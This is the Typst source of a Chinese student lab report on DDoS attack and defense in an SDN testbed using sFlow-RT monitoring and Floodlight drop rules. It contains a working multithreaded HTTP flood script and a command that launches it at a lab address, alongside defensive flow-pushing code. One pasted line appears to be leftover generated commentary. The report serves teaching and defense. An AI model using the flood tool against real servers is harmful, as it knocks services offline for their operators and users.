#import "labtemplate.typ": * #show: nudtlabpaper.with(title: "基于 SDN 的 DDoS 攻击与防御实验", author1: "王李烜", id1: "202202001046", author2: "廖中煜", id2: "202202001032", author3: "王誉潞", id3: "202202001051", advisor: " 胡罡", jobtitle: "教授", lab: "306-707", date: "2025.1.9", header_str: "《网络工程》实验报告", ) #set page(header: [ #set par(spacing: 6pt) #align(center)[#text(size: 11pt)[《网络工程》实验报告]] #v(-0.3em) #line(length: 100%, stroke: (thickness: 1pt)) ],) #show heading: it => box(width: 100%)[ #v(0.50em) #set text(font: hei) #it.body ] #outline(title: "目录",depth: 3, indent: 1em) // #pagebreak() #outline( title: [图目录], target: figure.where(kind: image), ) #show heading: it => box(width: 100%)[ #v(0.50em) #set text(font: hei) #counter(heading).display() // #h(0.5em) #it.body ] #set enum(indent: 0.5em,body-indent: 0.5em,) #pagebreak() = 实验概述 == 实验目的 #para[1. 了解 sFlow-RT 的配置。 2. 基于 SDN 的 DDoS 攻击仿真。 3. 掌握利用 Floodlight 进行 DDoS 防御的原理和方法。] == 实验内容 #para[通过 OpenBox-S4 设备搭建 DDOS 攻击环境,在 OpenBox-S4 设备启动 OVS 交换机、sFlow-RT 流量监控和 Floodlight 控制器,通过主机 C 访问 sFlow-RT 界面和控制器界面,检测到 DDOS 攻击下发流表丢弃报文。] #para[使用攻击工具或脚本模拟 DDoS 攻击。这可以包括向目标主机发送大量的请求数据包,以模拟洪水攻击或放大攻击等常见的 DDoS 攻击方式。] #para[在攻击过程中,观察和分析网络流量的变化。这可以通过监控工具、日志分析或流量捕获等方式实现。注意记录攻击开始和结束时的网络状态,以便后续分析和比较。] #para[一旦检测到 DDoS 攻击,通过 Floodlight 控制器下发相应的流表规则,使 OVS 交换机能够丢弃匹配的数据包,从而阻断异常流量。可以根据实验需求设置不同的防御策略,例如限制流量速率、过滤特定来源的流量或启用黑名单等。] 文件中没有直接提到“实验原理”这一部分的内容。不过,文件中提到的实验步骤和配置信息可以帮助我们理解实验的基本原理。以下是基于文件内容的实验原理总结: == 实验原理 #para[本实验通过搭建一个基于 SDN 的网络环境,利用 OpenBox-S4 设备启动 OVS 交换机、sFlow-RT 流量监控和 Floodlight 控制器,模拟 DDoS 攻击并实现防御。实验的核心原理是通过 SDN 控制器(Floodlight)动态下发流表规则,检测并阻断异常流量。] #para[在实验中,主机 A 作为攻击者,使用 DDoS 攻击工具向主机 B(靶机)发送大量请求数据包,模拟 DDoS 攻击。sFlow-RT 用于实时监控网络流量,检测异常流量模式。Floodlight 控制器根据 sFlow-RT 的检测结果,下发流表规则到 OVS 交换机,丢弃匹配的异常流量,从而实现对 DDoS 攻击的防御。] #para[实验的关键在于通过 SDN 控制器的集中控制能力,动态调整网络流表,快速响应并阻断攻击流量。这种基于 SDN 的防御机制能够有效应对 DDoS 攻击,减少对网络资源的消耗,并提高网络的整体安全性。] // Display inline code in a small box // that retains the correct baseline. #show raw.where(block: false): it => box( text(font: ("Consolas","FangSong_GB2312"), it), fill: luma(240), inset: (x: 3pt, y: 0pt), outset: (y: 3pt), radius: 2pt, ) // Display block code in a larger block // with more padding. #show raw.where(block: true): it => block( text(font: ("Consolas","FangSong_GB2312"), it), fill: luma(240), inset: 10pt, radius: 4pt, width: 100%, ) = 实验步骤 #para[ 实验步骤参考《SDN网络-DDOS攻击案例操作手册.pdf》。下面仅列出部分步骤或结果,供参考。 ] == 发起 DDoS 攻击 #para[ 1. 在主机 A 上使用攻击工具或脚本发起 DDoS 攻击,向主机 B 发送大量请求数据包。 2. 监控 sFlow-RT 界面,观察网络流量的变化,检测到异常流量模式。 #figure(image("遭受DDoS攻击.png",format:"png",width: 100%,fit:"stretch"),caption: "遭受 DDoS 攻击") 3. 记录攻击开始时间和网络状态。 4. 查看流表项,发现大量异常流量匹配规则。 #figure(image("flow_entry.png",format:"png",width: 100%,fit:"stretch"),caption: "流表项") ] == 防御 DDoS 攻击 #para[ 1. 使用 Floodlight 控制器下发流表规则,阻断异常流量: ```python import httplib import json class StaticFlowPusher(object): def __init__(self, server): self.server = server def get(self, data): ret = self.rest_call({}, 'GET') return json.loads(ret[2]) def set(self, data): ret = self.rest_call(data, 'POST') return ret[0] == 200 def remove(self, objtype, data): ret = self.rest_call(data, 'DELETE') return ret[0] == 200 def rest_call(self, data, action): path = '/wm/staticflowpusher/json' headers = { 'Content-type': 'application/json', 'Accept': 'application/json', } body = json.dumps(data) conn = httplib.HTTPConnection(self.server, 8080) conn.request(action, path, body, headers) response = conn.getresponse() ret = (response.status, response.reason, response.read()) print ret conn.close() return ret pusher = StaticFlowPusher('127.0.0.1') flowbe2 = { 'switch': "00:00:00:0a:35:00:5f:68", "name": "flow-2", "cookie": "G0", "priority": "100", "active": "true", "eth_type": "0x800", "in_port": "0", "ipv4_src": "192.168.2.111", "ipv4_dst": "192.168.2.119", "actions": "drop" } pusher.set(flowbe2) ``` 其中关键部分在于下发流表规则,将匹配的数据包丢弃(```python "actions": "drop"```)。 2. 检查流量图,发现异常流量被丢弃。 #figure(image("防御DDoS攻击.png",format:"png",width: 100%,fit:"stretch"),caption: "丢弃异常流量") 3. 检查流表项,发现异常流量匹配规则消失。 #figure(image("flow_entry2.png",format:"png",width: 100%,fit:"stretch"),caption: "流表项") ] = 实验中遇到的其他问题 == 问题一 #para[ #text(size:12pt,font:hei,weight:"bold")[DDoS攻击速率太快,导致SDN交换机忙于处理流表更新请求,无法响应防御流表下发请求。] 这是本次实验中遇到的一个常见问题。经测试,当@being_attacked_by_DDoS 中的流量峰值达到*2M*以上时,基本会出现此问题。可以降低DDoS攻击的速率来解决此问题。 本次实验使用的DDoS攻击工具代码如下: ```python import threading import requests import sys def http_flood(target_url, num_requests): for _ in range(num_requests): try: requests.get(target_url) except requests.exceptions.RequestException as e: print(f"Request failed: {e}") def start_attack(target_url, num_threads, requests_per_thread): threads = [] for _ in range(num_threads): thread = threading.Thread(target=http_flood, args=(target_url, requests_per_thread)) thread.start() threads.append(thread) for thread in threads: thread.join() if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python hulk.py ") sys.exit(1) target_url = sys.argv[1] num_threads = int(sys.argv[2]) requests_per_thread = int(sys.argv[3]) print("HULK Attack Started") start_attack(target_url, num_threads, requests_per_thread) ``` 该攻击工具使用多线程发送大量 HTTP 请求,模拟 DDoS 攻击。可以降低线程数以降低攻击速率。例如,将原本的线程数设置为10,每个线程发送1000个请求,可以改为5个线程,每个线程发送2000个请求,以减缓攻击速率: ```cmd hulk.py http://192.168.2.119/ 5 2000 ``` ] == 问题二 #para[ #text(size:12pt,font:hei,weight:"bold")[网络连通性问题。例如:直连ping不通。] 1. 确保双方的IP等配置正确,同一网段,尤其注意网关配置。 2. 确保PC机防火墙关闭。 3. 单向ping不通,重点检查防火墙与网关。 ] = 实验思考 == 问题一 #para[ #text(size:12pt,font:hei,weight:"bold")[如何检测和识别 DDoS 攻击?在 SDN 网络中,有哪些常见的 DDoS 攻击手段和特征?] 检测和识别 DDoS 攻击可以通过流量监控工具实现。sFlow-RT 等工具能够实时监控网络流量,识别异常的流量模式。流量突然激增、特定 IP 地址的流量异常是常见的攻击特征。流量分析通过检查源 IP 地址、目的 IP 地址、协议类型、数据包大小等特征,识别异常流量。行为分析利用机器学习或统计分析,识别与正常流量模式不符的行为,如大量的 SYN 请求或 UDP 洪水攻击。日志分析通过检查网络设备的日志,识别异常的连接请求或流量模式。] #para[在 SDN 网络中,常见的 DDoS 攻击手段包括 SYN Flood、UDP Flood、ICMP Flood、HTTP Flood 和放大攻击。SYN Flood 攻击通过发送大量 TCP SYN 请求,耗尽目标服务器的连接资源。UDP Flood 攻击通过发送大量 UDP 数据包,耗尽目标网络的带宽或处理能力。ICMP Flood 攻击通过发送大量 ICMP 请求,耗尽目标网络的带宽。HTTP Flood 攻击通过发送大量 HTTP 请求,耗尽目标 Web 服务器的资源。放大攻击利用 DNS 或 NTP 等协议的放大效应,发送少量请求,导致目标服务器收到大量响应数据包。] == 问题二 #para[ #text(size:12pt,font:hei,weight:"bold")[在 SDN 网络中,如何有效地防御 DDoS 攻击?有哪些防御策略和技术可以应用?] 在 SDN 网络中,防御 DDoS 攻击的策略包括流量过滤、流量重定向、动态调整流表、黑名单机制、速率限制和多控制器架构。流量过滤通过 SDN 控制器下发流表规则,过滤掉异常流量。流量重定向将可疑流量重定向到专门的清洗中心进行处理。动态调整流表根据实时流量监控结果,及时阻断异常流量。黑名单机制通过 SDN 控制器维护黑名单,自动丢弃攻击源 IP 地址的流量。速率限制通过 SDN 控制器限制特定流量的速率,防止流量过载。多控制器架构使用多个 SDN 控制器,避免单点故障,提高网络的抗攻击能力。] == 问题三 #para[ #text(size:12pt,font:hei,weight:"bold")[DDoS 攻击对 SDN 控制器的影响是什么?] DDoS 攻击对 SDN 控制器的影响主要体现在控制器的压力增加、流表溢出、网络延迟增加和单点故障风险。DDoS 攻击导致网络流量激增,SDN 控制器需要处理大量流表更新请求,可能导致控制器过载。大量异常流量可能填满 SDN 交换机的流表,导致无法正常处理合法流量。控制器处理大量异常流量可能导致网络延迟增加,影响正常流量的传输。如果 SDN 控制器成为攻击目标,可能导致整个网络的控制平面瘫痪,影响网络的正常运行。] #para[在 SDN 网络中,防御 DDoS 攻击不仅需要保护数据平面,还需要确保控制平面的安全性和稳定性。通过多种防御策略和技术的结合,可以有效应对 DDoS 攻击带来的挑战。] = 实验总结 #para[ 本次实验通过搭建基于 OpenBox-S4 设备的 SDN 网络环境,模拟 DDoS 攻击和防御过程。通过实验,我们了解了 sFlow-RT 的配置和使用方法,掌握了基于 Floodlight 控制器的 DDoS 防御原理和方法。实验中,我们成功模拟了 DDoS 攻击,观察了网络流量的变化,学会了使用 Floodlight 控制器下发流表规则,阻断异常流量。通过实验,我们深入理解了 SDN 网络中 DDoS 攻击的特点和防御策略,提高了网络安全意识和实践能力。 ] #show heading: it => box(width: 100%)[ #v(0.50em) #set text(font: hei) // #counter(heading).display() // #h(0.5em) #it.body ] #pagebreak() #bibliography("ref.yml",full: true,title: "参考文献",style:"gb-7714-2015-numeric") /* 根据这个网站的格式示范https://github.com/typst/hayagriva/blob/main/docs/file-format.md 为这些网页生成.yml文件 https://opennetworking.org/wp-content/uploads/2014/10/openflow-spec-v1.3.0.pdf https://www.cnblogs.com/goldsunshine/p/7262484.html https://www.jianshu.com/p/acfeae1771b3 https://www.jianshu.com/p/82e238eb8d14 */